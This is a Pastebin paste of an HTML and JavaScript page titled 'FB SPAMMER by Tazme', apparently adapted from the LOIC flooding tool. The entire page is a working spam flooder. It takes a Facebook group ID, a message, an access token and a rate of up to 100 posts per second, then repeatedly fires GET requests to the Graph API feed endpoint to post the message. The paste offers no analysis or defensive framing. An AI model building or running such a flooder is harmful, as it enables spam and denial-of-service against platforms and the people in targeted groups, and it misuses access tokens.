Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html><head><title>Spammer'Online v1.0</title><link rel="shortcut icon" type="image/x-icon" href="http://loic-online.site90.net/LOIC.ico" /></head><center><h1 style="border:green 3px double; padding:auto; margin:0px;">FB SPAMMER by Tazme</h1></center><body style="border:green 3px double; padding:auto; margin:0px; background-color:black;"><div style="border:green 3px dotted; padding:auto; margin:0px;"><br /><input type="hidden" style="border:green 3px double; padding:auto; margin:0px;" id="targetURL" value="https://graph.facebook.com/" DISABLED/><font style="color:green;">post/saat</font><input style="border:green 3px double; padding:auto; margin:0px;" id="rps" value="100" /><br /><font style="color:green;">id</font><input style="border:green 3px double; padding:auto; margin:0px;" id="group" /><font style="color:green;">POST</font><input style="border:green 3px double; padding:auto; margin:0px;" id="mesej" /><font style="color:green;">Access token</font><input style="border:green 3px double; padding:auto; margin:0px;" id="token" /><button style="border:green 3px groove; padding:auto; margin:0px; background-color:green;" id="fireButton">START</button></div><script>
- (function () {
- var fireInterval;
- var isFiring = false;
- var requestedCtrNode = document.getElementById("requestedCtr"),
- succeededCtrNode = document.getElementById("succeededCtr"),
- failedCtrNode = document.getElementById("failedCtr"),
- targetURLNode = document.getElementById("targetURL"),
- fireButton = document.getElementById("fireButton"),
- groupNode = document.getElementById("group"),
- mesejNode = document.getElementById("mesej"),
- tokenNode = document.getElementById("token"),
- rpsNode = document.getElementById("rps"),
- timeoutNode = document.getElementById("timeout");
- var targetURL = targetURLNode.value;
- targetURLNode.onchange = function () {
- targetURL = this.value;
- };
- var requestsHT = {}; // requests hash table, may come in handy later
- var requestedCtr = 0,
- succeededCtr = 0,
- failedCtr = 0;
- var makeHttpRequest = function () {
- if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
- return;
- };
- var rID =Number(new Date());
- var img = new Image();
- img.onerror = function () { onFail(rID); };
- img.onabort = function () { onFail(rID); };
- img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
- img.setAttribute("src", targetURL + groupNode.value +"/feed?message="+ mesejNode.value +"&method=POST&access_token="+ tokenNode.value +"&ha6=" + rID);
- requestsHT[rID] = img;
- onRequest(rID);
- };
- var onRequest = function (rID) {
- requestedCtr++;
- requestedCtrNode.innerHTML = requestedCtr;
- };
- var onComplete = function (rID) {
- delete requestsHT[rID];
- };
- var onFail = function (rID) {
- // failedCtr++;
- //failedCtrNode.innerHTML = failedCtr;
- succeededCtr++; //Seems like the url will always fail it it isn't an image
- succeededCtrNode.innerHTML = succeededCtr;
- delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
- };
- var onSuccess = function (rID) {
- succeededCtr++;
- succeededCtrNode.innerHTML = succeededCtr;
- delete requestsHT[rID];
- };
- fireButton.onclick = function () {
- if (isFiring) {
- clearInterval(fireInterval);
- isFiring = false;
- this.innerHTML = "START";
- } else {
- isFiring = true;
- this.innerHTML = "Stop flooding";
- fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
- }
- };
- })();
- isFiring = true;
- document.getElementById("fireButton").innerHTML = "Stop flooding";
- fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
- </script><font style="color:green;" align="center">subscribe to developer:</font><a style="color:gold;" href="http://fb.com/mohdtazme" align="center">Mohd tazme</a></body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement